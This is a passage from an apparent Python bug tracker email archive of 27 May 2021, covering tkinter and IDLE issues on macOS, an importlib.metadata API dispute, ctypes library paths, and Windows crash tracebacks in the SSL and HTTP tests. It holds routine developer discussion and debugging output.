/Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib/tcl8.6/tk8.6/Resources/Scripts /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib64/tcl8.6/tk8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib64/tcl8.6/tk8.6/Resources/Scripts /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/lib/tk8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/lib/tk8.6/Resources/Scripts /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/tk8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/tk8.6/Resources/Scripts /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/python-3.8.10-fkj5vkn3tpottyv6yqoj5ucz2emstpvo/lib/tk8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/python-3.8.10-fkj5vkn3tpottyv6yqoj5ucz2emstpvo/lib/tk8.6/Resources/Scripts /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/python-3.8.10-fkj5vkn3tpottyv6yqoj5ucz2emstpvo/lib/tk8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/lib/tk8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/python-3.8.10-fkj5vkn3tpottyv6yqoj5ucz2emstpvo/library This probably means that tk wasn't installed properly. ``` It seems that tkinter searches for tk.tcl in `/lib`, but tk.tcl is actually installed in `/lib/tk8.6`. I asked the tk developers, but it looks like `/lib/tk8.6` is indeed the correct installation location: https://core.tcl-lang.org/tk/tktview/447bd3e4abe17452d19a80e6840dcc8a2603fcbc Is there a way to tell tkinter where to find tk.tcl? If not, can we modify the default search path to search in `/lib/tk8.6`? Related to https://github.com/spack/spack/issues/23780 ---------- components: Tkinter messages: 394584 nosy: ajstewart priority: normal severity: normal status: open title: tkinter searches for tk.tcl in wrong directory type: crash versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 14:46:21 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 18:46:21 +0000 Subject: [issue44243] tkinter button colors on Mac In-Reply-To: <1622080561.97.0.61409319906.issue44243@roundup.psfhosted.org> Message-ID: <1622141181.08.0.0110616980007.issue44243@roundup.psfhosted.org> Tal Einat added the comment: The Tcl/Tk devs have closed the issue I opened on their issue tracker as "not a bug", with the following comment: "Because Tk on the Mac uses API's to draw buttons, some configuration options are set by the OS and not by Tk. This is documented in the button man page: "On Aqua/Mac OS X, some configuration options are ignored for the purpose of drawing of the widget because they would otherwise conflict with platform guidelines. The configure and cget subcommands can still manipulate the values, but do not cause any variation to the look of the widget. The options affected notably include -background and -relief." Closing this ticket as not a bug." ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 14:48:41 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 18:48:41 +0000 Subject: [issue44243] tkinter button colors on Mac In-Reply-To: <1622080561.97.0.61409319906.issue44243@roundup.psfhosted.org> Message-ID: <1622141321.47.0.751960194322.issue44243@roundup.psfhosted.org> Tal Einat added the comment: It appears that this behavior is the intended behavior of Tk on macOS. Given that tkinter is meant to be a relatively straightforward wrapping of Tcl/Tk, it seems to me that we too should consider this not to be a bug, and resolve this issue as "won't fix". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 14:57:33 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 18:57:33 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622141853.97.0.362127913937.issue41611@roundup.psfhosted.org> Tal Einat added the comment: See a second PR for the originally reported bug, GH-26404. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 15:00:33 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Thu, 27 May 2021 19:00:33 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622142033.79.0.310826494305.issue44246@roundup.psfhosted.org> Jason R. Coombs added the comment: Although it feels the topic has shifted from the original concern (an unintentional incompatibility) to the broader topic of the API change to entry_points generally, I'm happy to address your comments: > - I don't think they were discussed thoroughly, and when opposition was presented it was not listened to thoroughly: https://github.com/python/importlib_metadata/pull/278 Anyone reading that thread will see that I was responsive to your concerns, adapted the solution based on your concerns, and spent extra energy documenting the motivations for the change and exploring solutions until I came up with something that I believed would address the concerns and has since largely borne out that goal in the release. > - the change significantly complicates importlib.metadata with lots of sneaky types (they all look like builtin types but do not act like them) The solution that I ultimately settled on in python/importlib_metadata#278 does not use "sneaky" or "cutsey" types, but in fact reduces the number of magic types. EntryPoints is a tuple subclass, EntryPoint is a namedtuple subclass (with __iter__ magic deprecated), and SelectableGroups is a compatibility shim to be removed. Which types are sneaky and look like built-in types but do not act like them? > - it simultaneously introduces new apis and old apis which will both be around for extended periods of time but immediately moves to DeprecationWarning Given that backports are available, I saw no strong reason to delay the DeprecationWarning. I was open to the possibility that the transition could prove too taxing and the deprecation would have to be delayed. This early exposure means that most projects will already have addressed the deprecation concerns prior to the release of Python 3.10. In https://github.com/python/importlib_metadata/issues/298, the SQLAlchemy team helped me understand a nuanced use-case I hadn't considered, where libraries don't necessarily have the luxury of requiring newer backport releases, but in that case, I developed a solution that would provide future compatibility even with older stdlib and backport releases (through backports.entry_points_selectable). As far as I understand, there are no known use-cases that aren't satisfied by this design. > - the new apis aren't remarkably better than the old apis -- the motivation was written as "typing issues" but without citing actual issues. in fact, the new items are significantly more complicated to type properly The typing issues were discussed here (https://github.com/pypa/twine/pull/728#pullrequestreview-573342005) in the PR referenced by python/importlib_metadata#278. The magic casting of a two tuple to an item of a dict was found to be incompatible and unsupported by mypy (https://github.com/python/mypy/issues/9938). I further expanded on the motivations that led to this approach in https://github.com/python/importlib_metadata/issues/282 and https://github.com/python/importlib_metadata/issues/284. So while Twine is able to declare types properly using this new design, it was infeasible to do so in the old design. After the compatibility layers are removed, `entry_points` will simply return an `EntryPoints` object, which presents an iterable of `EntryPoint` objects but with some facilities for selection. It's straightforward and clean. Please demonstrate the complication you see with the current approach. The new APIs are not only easier to describe with types, but they are easier to describe in documentation. > - the change breaks many significantly important projects, from perusing related issues it's at the very least flake8, pandas, virtualenv, astropy, pytest, hypothesis -- and hundreds more from a quick github code search I'm not aware of a single breakage. The code is compatible for all known use-cases, but does present a DeprecationWarning in some usages. In the case of flake8, I've proposed a solution to avoid the DeprecationWarning and move to the preferred design, even without requiring an updated importlib_metadata backport. I'm invested in providing as seamless a transition as possible to all projects, and I believe this change accomplishes that. Please let me know if there's a project or application where that's not the case. > personally I think [all API changes] should be reverted Given the amount of adoption already, reverting these changes is likely to cause more disruption than moving forward with them. If you would like to see the changes reverted or adapted further, please provide an example of a use-case that's broken by the current approach. So far, the only example presented above appears contrived and not an actual concern. It's common for Python minor releases to introduce undocumented changes that are technically incompatible but in ways that affect few or no users. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 15:03:54 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 19:03:54 +0000 Subject: [issue23937] IDLE: revise window size, placement startup options In-Reply-To: <1428955532.11.0.740629698052.issue23937@psf.upfronthosting.co.za> Message-ID: <1622142234.57.0.983180046513.issue23937@roundup.psfhosted.org> Tal Einat added the comment: In terms of its interface, IDLE is more like a REPL + text editor than what is commonly thought of as programming IDEs (Visual Studio, PyCharm/IDEA, Matlab, JupyterLab etc.) Terminals and text editors almost universally do not launch maximized by default. Therefore I think starting IDLE maximized would be an unnecessary departure from the common, expected UX of similar desktop apps. I suggest closing this as "won't fix". ---------- nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 16:05:26 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 27 May 2021 20:05:26 +0000 Subject: [issue44253] tkinter searches for tk.tcl in wrong directory In-Reply-To: <1622140840.05.0.780709147987.issue44253@roundup.psfhosted.org> Message-ID: <1622145926.88.0.253241980818.issue44253@roundup.psfhosted.org> Ned Deily added the comment: The message is coming from Tcl/Tk; tkinter is just passing it along and is otherwise not involved AFAIK. You don't need to use framework builds for Tcl or Tk on macOS but you should follow the recommendation of how to do a Unix build of Tcl and Tk as far as configure options and placement of directories. When built properly Tcl should have no trouble finding Tk and the tk.tcl file. ---------- nosy: +ned.deily resolution: -> third party stage: -> resolved status: open -> closed type: crash -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 16:11:02 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 May 2021 20:11:02 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622146262.72.0.471161461279.issue41611@roundup.psfhosted.org> Terry J. Reedy added the comment: The completion freeze fix is easily backported to non-Windows installations. 1. Run IDLE 2. File => Open Module, enter 'idlelib.autocomplete_w', OK. 3. Goto line 247 (3.9) or 250 (3.10) with "acw.update". 4. Add # in from of above to disable it. 5. Save and close IDLE, then restart. For me, with 3.10.0b1, this restores full functions, with boxes appearing as appropriate. With 3.9.5, no freeze by also no box. 2 or 3 tabs brings up first match. 'pr' = print, 'int.' = int.as_integer_ratio. As far as I know, the file is the same in both versions. Both versions are the same in Shell and Editor, so it is not the improved 3.10 shell. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 16:15:55 2021 From: report at bugs.python.org (Victor Lazzarini) Date: Thu, 27 May 2021 20:15:55 +0000 Subject: [issue43964] ctypes CDLL search path issue on MacOS In-Reply-To: <1619599189.53.0.161750349555.issue43964@roundup.psfhosted.org> Message-ID: <1622146555.5.0.342726485966.issue43964@roundup.psfhosted.org> Change by Victor Lazzarini : ---------- versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 16:15:39 2021 From: report at bugs.python.org (Victor Lazzarini) Date: Thu, 27 May 2021 20:15:39 +0000 Subject: [issue43964] ctypes CDLL search path issue on MacOS In-Reply-To: <1619599189.53.0.161750349555.issue43964@roundup.psfhosted.org> Message-ID: <1622146539.27.0.626669446345.issue43964@roundup.psfhosted.org> Victor Lazzarini added the comment: I have looked at this closely and it appears Python 3.6.5 has a search path for libraries and frameworks that is missing in the newer versions (3.7 onwards). I can load libraries from /usr/local/lib and ~/lib without any difficulties in 3.6.5, just by passing the file name. In later versions this does not work, you need to pass a full path. Furthermore if these libraries have dependencies which are set with an rpath, the loading fails because the dependencies are not found. None of this is a problem in 3.6.5. This needs to be resolved because packages that are based on ctypes may be broken in versions >= 3.7 This is the case of Csound and ctcsound, for instance. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 16:16:18 2021 From: report at bugs.python.org (Ethan Furman) Date: Thu, 27 May 2021 20:16:18 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622146578.13.0.166879219264.issue44242@roundup.psfhosted.org> Ethan Furman added the comment: I'm very much of the practicality beats purity philosophy, so I want to support the OP's flag without making them jump through hoops. On the flip side, I also appreciate that there are folks that want the extra security... So here's my plan: remove the creation time check (which will remove the error for the OP), and then add a decorator to the enum module that does that creation time check -- just like the `unique` decorator enforces no aliases. Now I just need a good name for that decorator: - complete ? - exhaustive ? - all_named ? - check_for_unnamed ? ---------- assignee: -> ethan.furman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 16:34:44 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 27 May 2021 20:34:44 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622147684.16.0.39063360594.issue42972@roundup.psfhosted.org> Erlend E. Aasland added the comment: I can't contribute to that discussion, as it is on the committers ml, but I'll keep an eye on it. I'll refrain from further development on this issue until there's a consensus amongst the core devs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 16:35:44 2021 From: report at bugs.python.org (Adam Stewart) Date: Thu, 27 May 2021 20:35:44 +0000 Subject: [issue44253] tkinter searches for tk.tcl in wrong directory In-Reply-To: <1622140840.05.0.780709147987.issue44253@roundup.psfhosted.org> Message-ID: <1622147744.44.0.570255809853.issue44253@roundup.psfhosted.org> Adam Stewart added the comment: Thanks, in that case it sounds like the problem is that Spack installs tcl and tk to separate directories, but since tk depends on tcl and not the other way around, tcl has no way of knowing where tk is installed. I'll see if I can convince the other Spack devs to combine tcl and tk into a single package. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 16:47:55 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 May 2021 20:47:55 +0000 Subject: [issue44243] tkinter button colors on Mac In-Reply-To: <1622080561.97.0.61409319906.issue44243@roundup.psfhosted.org> Message-ID: <1622148475.35.0.781446477117.issue44243@roundup.psfhosted.org> Terry J. Reedy added the comment: "The configure and cget subcommands can still manipulate the values, but do not cause any variation to the look of the widget." is wrong. Setting the foreground color *does* change the unpressed foreground color, so that 'white' becomes 'white on white'. I consider not being more explicit about which options are or or not fixed, or at least not warning about foreground, to be a doc buglet. What a trap for someone trying to make a cross-platform dark theme. But their docs are theirs. And our docs are ours. We can't change external tk or ttk docs, but how about adding the following to the our ttk doc, just above 'Combobox'? Button On macOS, the pressed colors are fixed as white on blue. The background is otherwise fixed as white. So an attempt at white on dark results in white on white. ---------- stage: -> needs patch type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 16:49:58 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 May 2021 20:49:58 +0000 Subject: [issue44254] Change turtledemo button colors Message-ID: <1622148598.71.0.661804275913.issue44254@roundup.psfhosted.org> New submission from Terry J. Reedy : [Following up on #44243.] tk/tkinter-based turtledemo buttons are currently white on something. On Mac, configured foreground button colors are honored (while the button is unpressed), while background colors are ignored. Given that the unpressed default is black on white, the configured result of white on something is white on white. I don't like the current colors anyway, so I think we should change to something on white. I am thinking of green, red, and blue for Start, Stop, and Clear. ---------- components: Library (Lib) messages: 394597 nosy: terry.reedy priority: normal severity: normal stage: needs patch status: open title: Change turtledemo button colors type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 16:51:07 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 May 2021 20:51:07 +0000 Subject: [issue44243] tkinter button colors on Mac In-Reply-To: <1622080561.97.0.61409319906.issue44243@roundup.psfhosted.org> Message-ID: <1622148667.84.0.555497507528.issue44243@roundup.psfhosted.org> Terry J. Reedy added the comment: #44254 is a followup to change turtledemo unpressed button colors to something on white. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 16:55:10 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 20:55:10 +0000 Subject: [issue44252] test_ssl: test_pha_required_nocert() crashs randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622148910.68.0.760139567573.issue44252@roundup.psfhosted.org> STINNER Victor added the comment: Crash also seen on test_httplib: (...) test_attributes (test.test_httplib.HTTPSTest) ... ok test_host_port (test.test_httplib.HTTPSTest) ... ok Windows fatal exception: access violation Current thread 0x000011ec (most recent call first): File "D:\a\cpython\cpython\lib\socket.py", line 502 in close File "D:\a\cpython\cpython\lib\ssl.py", line 1072 in _create File "D:\a\cpython\cpython\lib\ssl.py", line 518 in wrap_socket File "D:\a\cpython\cpython\lib\test\ssl_servers.py", line 37 in get_request File "D:\a\cpython\cpython\lib\socketserver.py", line 311 in _handle_request_noblock File "D:\a\cpython\cpython\lib\socketserver.py", line 237 in serve_forever File "D:\a\cpython\cpython\lib\test\ssl_servers.py", line 142 in run File "D:\a\cpython\cpython\lib\threading.py", line 1006 in _bootstrap_inner File "D:\a\cpython\cpython\lib\threading.py", line 963 in _bootstrap Thread 0x000013ec (most recent call first): File "D:\a\cpython\cpython\lib\socket.py", line 496 in _real_close File "D:\a\cpython\cpython\lib\ssl.py", line 1330 in _real_close File "D:\a\cpython\cpython\lib\socket.py", line 502 in close File "D:\a\cpython\cpython\lib\ssl.py", line 1072 in _create File "D:\a\cpython\cpython\lib\ssl.py", line 518 in wrap_socket File "D:\a\cpython\cpython\lib\http\client.py", line 1448 in connect File "D:\a\cpython\cpython\lib\http\client.py", line 969 in send File "D:\a\cpython\cpython\lib\http\client.py", line 1031 in _send_output File "D:\a\cpython\cpython\lib\http\client.py", line 1271 in endheaders File "D:\a\cpython\cpython\lib\http\client.py", line 1322 in _send_request File "D:\a\cpython\cpython\lib\http\client.py", line 1276 in request File "D:\a\cpython\cpython\lib\test\test_httplib.py", line 1950 in test_local_bad_hostname File "D:\a\cpython\cpython\lib\unittest\case.py", line 549 in _callTestMethod File "D:\a\cpython\cpython\lib\unittest\case.py", line 592 in run File "D:\a\cpython\cpython\lib\unittest\case.py", line 652 in __call__ File "D:\a\cpython\cpython\lib\unittest\suite.py", line 122 in run File "D:\a\cpython\cpython\lib\unittest\suite.py", line 84 in __call__ File "D:\a\cpython\cpython\lib\unittest\suite.py", line 122 in run File "D:\a\cpython\cpython\lib\unittest\suite.py", line 84 in __call__ File "D:\a\cpython\cpython\lib\unittest\suite.py", line 122 in run File "D:\a\cpython\cpython\lib\unittest\suite.py", line 84 in __call__ File "D:\a\cpython\cpython\lib\unittest\runner.py", line 176 in run File "D:\a\cpython\cpython\lib\test\support\__init__.py", line 959 in _run_suite File "D:\a\cpython\cpython\lib\test\support\__init__.py", line 1082 in run_unittest File "D:\a\cpython\cpython\lib\test\libregrtest\runtest.py", line 210 in _test_module File "D:\a\cpython\cpython\lib\test\libregrtest\runtest.py", line 246 in _runtest_inner2 File "D:\a\cpython\cpython\lib\test\libregrtest\runtest.py", line 282 in _runtest_inner File "D:\a\cpython\cpython\lib\test\libregrtest\runtest.py", line 154 in _runtest File "D:\a\cpython\cpython\lib\test\libregrtest\runtest.py", line 194 in runtest File "D:\a\cpython\cpython\lib\test\libregrtest\main.py", line 321 in rerun_failed_tests File "D:\a\cpython\cpython\lib\test\libregrtest\main.py", line 698 in _main File "D:\a\cpython\cpython\lib\test\libregrtest\main.py", line 641 in main File "D:\a\cpython\cpython\lib\test\libregrtest\main.py", line 719 in main File "D:\a\cpython\cpython\lib\test\__main__.py", line 2 in File "D:\a\cpython\cpython\lib\runpy.py", line 86 in _run_code File "D:\a\cpython\cpython\lib\runpy.py", line 196 in _run_module_as_main test_local_bad_hostname (test.test_httplib.HTTPSTest) ... Error: Process completed with exit code 1. test.pythoninfo: ssl.HAS_SNI: True ssl.OPENSSL_VERSION: OpenSSL 1.1.1k 25 Mar 2021 ssl.OPENSSL_VERSION_INFO: (1, 1, 1, 11, 15) ssl.OP_ALL: -0x7fffffac ssl.OP_NO_TLSv1_1: 0x10000000 ssl.SSLContext.maximum_version: MAXIMUM_SUPPORTED ssl.SSLContext.minimum_version: TLSv1_2 ssl.SSLContext.options: OP_NO_COMPRESSION|OP_ENABLE_MIDDLEBOX_COMPAT|OP_CIPHER_SERVER_PREFERENCE|OP_NO_SSLv3|0x54 ssl.SSLContext.protocol: PROTOCOL_TLS_CLIENT ssl.SSLContext.verify_mode: CERT_REQUIRED ssl.default_https_context.maximum_version: MAXIMUM_SUPPORTED ssl.default_https_context.minimum_version: TLSv1_2 ssl.default_https_context.options: OP_NO_COMPRESSION|OP_ENABLE_MIDDLEBOX_COMPAT|OP_CIPHER_SERVER_PREFERENCE|OP_NO_SSLv3|0x54 ssl.default_https_context.protocol: PROTOCOL_TLS_CLIENT ssl.default_https_context.verify_mode: CERT_REQUIRED ssl.stdlib_context.maximum_version: MAXIMUM_SUPPORTED ssl.stdlib_context.minimum_version: TLSv1_2 ssl.stdlib_context.options: OP_NO_COMPRESSION|OP_ENABLE_MIDDLEBOX_COMPAT|OP_CIPHER_SERVER_PREFERENCE|OP_NO_SSLv3|0x54 ssl.stdlib_context.protocol: PROTOCOL_TLS_CLIENT ssl.stdlib_context.verify_mode: CERT_NONE ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 16:56:25 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 20:56:25 +0000 Subject: [issue44252] test_ssl: test_pha_required_nocert() crashs randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622148985.69.0.0602993634728.issue44252@roundup.psfhosted.org> STINNER Victor added the comment: I forgot the link: https://github.com/python/cpython/pull/26411/checks?check_run_id=2687367477 Oh right, Erlend already reported exactly the same crash :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 16:57:23 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 20:57:23 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622149043.58.0.458841295132.issue44252@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: test_ssl: test_pha_required_nocert() crashs randomly with "Windows fatal exception: access violation" on Windows -> test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 16:59:29 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 27 May 2021 20:59:29 +0000 Subject: [issue21633] Argparse does not propagate HelpFormatter class to subparsers In-Reply-To: <1401665556.26.0.881749322578.issue21633@psf.upfronthosting.co.za> Message-ID: <1622149169.63.0.800862054148.issue21633@roundup.psfhosted.org> Irit Katriel added the comment: What Paul explained is also covered in the documentation here: https://docs.python.org/3/library/argparse.html#argparse.ArgumentParser.add_subparsers ---------- nosy: +iritkatriel resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 16:59:14 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 20:59:14 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622149154.88.0.151148565926.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset f4b70c22c8e37dd7a06702e30b121a6651683421 by Erlend Egeberg Aasland in branch 'main': bpo-42972: Fully support GC protocol for _operator heap types (GH-26371) https://github.com/python/cpython/commit/f4b70c22c8e37dd7a06702e30b121a6651683421 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 16:59:23 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 20:59:23 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622149163.74.0.951871772682.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25007 pull_request: https://github.com/python/cpython/pull/26413 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 17:00:29 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 21:00:29 +0000 Subject: [issue43916] Mark static types newly converted to heap types as immutable: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1622149229.46.0.913056085873.issue43916@roundup.psfhosted.org> STINNER Victor added the comment: New changeset e90e0422182f4ca7faefd19c629f84aebb34e2ee by Erlend Egeberg Aasland in branch 'main': bpo-43916: Use test.support.check_disallow_instantiation() in test_tcl (GH-26412) https://github.com/python/cpython/commit/e90e0422182f4ca7faefd19c629f84aebb34e2ee ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 17:09:30 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 27 May 2021 21:09:30 +0000 Subject: [issue31790] double free or corruption (while using smem) In-Reply-To: <1508047232.57.0.213398074469.issue31790@psf.upfronthosting.co.za> Message-ID: <1622149770.32.0.0611385138624.issue31790@roundup.psfhosted.org> Irit Katriel added the comment: Terry, this is a 2.7 memory management issue with not a log to go by. Would you agree that there is no chance we can do anything about this? ---------- nosy: +iritkatriel status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 17:14:40 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 27 May 2021 21:14:40 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622150080.68.0.0947190349023.issue44252@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Is this happening on the current 3.10 or just with a specific PR? ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 17:17:22 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 21:17:22 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622150242.72.0.294808173891.issue44252@roundup.psfhosted.org> STINNER Victor added the comment: > Is this happening on the current 3.10 or just with a specific PR? The test_httplib crash occured on https://github.com/python/cpython/pull/26411 PR which is unrelated to ssl. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 17:22:41 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 27 May 2021 21:22:41 +0000 Subject: [issue26503] argparse with required field , not having new line separator in -help dispaly In-Reply-To: <1457353096.4.0.167120061283.issue26503@psf.upfronthosting.co.za> Message-ID: <1622150561.39.0.774686752184.issue26503@roundup.psfhosted.org> Irit Katriel added the comment: issue11874 has been fixed and its PR has a unit test that seems similar to the case reported here (test_help_with_metavar). If you are still seeing this issue on 3.9 or higher, please create a new issue and include a code snippet that reproduces the problem. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 17:24:57 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 27 May 2021 21:24:57 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622150697.11.0.224134981515.issue44252@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Ugh, should we make this a release blocker? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 17:50:03 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 21:50:03 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622152203.56.0.0425150655513.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset d1c732912e20e89815aca2d986442d349e82e31f by Miss Islington (bot) in branch '3.10': bpo-42972: Fully support GC protocol for _operator heap types (GH-26371) (GH-26413) https://github.com/python/cpython/commit/d1c732912e20e89815aca2d986442d349e82e31f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 17:53:07 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 May 2021 21:53:07 +0000 Subject: [issue31790] double free or corruption (while using smem) In-Reply-To: <1508047232.57.0.213398074469.issue31790@psf.upfronthosting.co.za> Message-ID: <1622152387.86.0.223553623986.issue31790@roundup.psfhosted.org> Terry J. Reedy added the comment: pydev core has not touched 2.7 in a year. Anyone else maintaining 2.7 has had a chance to grab 2.7 issues. So all 2.7 issues should be closed unless obviously relevant to current issues (and even then have 2.7 removed). I agree that the later does not apply here. ---------- resolution: -> wont fix stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 17:59:10 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 21:59:10 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622152750.04.0.729073083739.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25008 pull_request: 